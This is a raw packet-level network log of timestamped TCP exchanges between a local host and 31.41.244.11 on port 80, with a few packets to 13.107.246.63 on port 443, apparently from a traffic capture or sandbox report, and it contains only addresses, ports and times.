Nov 24, 2024 10:24:15.173681974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.173754930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.173798084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.174706936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.174751043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.174803019 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.174848080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.175872087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.175928116 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.175995111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.176038980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.176986933 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.177037954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.177076101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.177118063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.178092003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.178143978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.178210020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.178253889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.179259062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.179306030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.179414988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.179460049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.180419922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.180470943 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.180509090 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.180586100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.181530952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.181595087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.181605101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.181644917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.182647943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.182699919 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.182749987 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.182796001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.183769941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.183829069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.183875084 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.183927059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.184931040 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.184979916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.185065985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.185110092 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.186057091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.186109066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.186153889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.186194897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.187182903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.187228918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.187237024 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.187271118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.188318968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.188366890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.188472033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.188520908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.189609051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.189654112 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.189666986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.189711094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.190537930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.190587997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.190685987 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.190731049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.191725969 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.191772938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.191818953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.191864967 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.192828894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.192877054 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.192915916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.192960978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.193965912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.194011927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.194103003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.194144964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.195065975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.195111990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.195209026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.195251942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.196238041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.196281910 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.196372032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.196412086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.197375059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.197480917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.197530985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.198467016 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.198514938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.340437889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.340512991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.340513945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.340563059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.340987921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.341110945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.341146946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.341159105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.342061043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.342113018 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.342185974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.342235088 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.343216896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.343267918 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.343362093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.343409061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.344384909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.344434023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.344497919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.344552040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.345464945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.345515013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.345566034 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.345619917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.346643925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.346678972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.346707106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.346735954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.347734928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.347788095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.347811937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.347862005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.348870993 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.349060059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.349093914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.349106073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.349984884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.350034952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.350136995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.350188017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.351125002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.351174116 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.351255894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.351303101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.352348089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.352395058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.352402925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.352456093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.353389978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.353439093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.353610039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.353662968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.354583979 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.354636908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.354639053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.354686975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.355696917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.355746984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.355792999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.355860949 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.356849909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.356904984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.356967926 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.357012987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.357965946 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.358023882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.358081102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.358122110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.359304905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.359363079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.359417915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.359469891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.360214949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.360265017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.360347033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.360393047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.361620903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.361674070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.361804962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.361859083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.362620115 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.362668991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.362700939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.362749100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.363698959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.363763094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.363768101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.363807917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.364762068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.364809036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.364891052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.364937067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.365844011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.365897894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.365901947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.365942001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.367001057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.367048979 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.367106915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.367155075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.368139982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.368189096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.368271112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.368321896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.369479895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.369539976 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.369632959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.369682074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.370765924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.370817900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.370886087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.370933056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.371884108 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.371937037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.371942997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.371980906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.372872114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.372932911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.372946978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.372992039 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.373900890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.373954058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.374022961 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.374066114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.375282049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.375336885 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.375386953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.375432968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.376044035 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.376095057 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.376163006 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.376219988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.377178907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.377243996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.377317905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.377361059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.378479004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.378529072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.378534079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.378576040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.379437923 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.379519939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.379520893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.379566908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.380601883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.380637884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.380657911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.380682945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.381802082 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.381851912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.381932020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.381982088 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.383198977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.383256912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.383352995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.383404016 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.384242058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.384294987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.384324074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.384381056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.385149956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.385184050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.385204077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.385231972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.386256933 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.386311054 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.386390924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.386440992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.387367010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.387419939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.387475014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.387531042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.388495922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.388600111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.388612032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.388654947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.389669895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.389733076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.389796972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.389841080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.390950918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.391000986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.391036987 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.391093969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.391938925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.391998053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.392240047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.392292023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.393260956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.393315077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.393515110 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.393564939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.394184113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.394233942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.394315958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.394364119 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.395288944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.395343065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.395418882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.395469904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.396459103 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.396508932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.396512032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.396559000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.397562027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.397613049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.397680044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.397728920 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.398706913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.398757935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.398883104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.398932934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.399786949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.399842024 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.469924927 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.470645905 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.470676899 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.471324921 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.471330881 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.542216063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.542253017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.542314053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.542337894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.542716980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.542774916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.542834997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.542887926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.543764114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.543814898 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.544207096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.544255018 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.544321060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.544370890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.545346975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.545404911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.545471907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.545521021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.546511889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.546566010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.546628952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.546679974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.547631979 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.547682047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.547739029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.547790051 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.548724890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.548779964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.548823118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.548870087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.549913883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.549959898 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.550046921 CET	80	49813	31.41.244.11	192.168.2.5
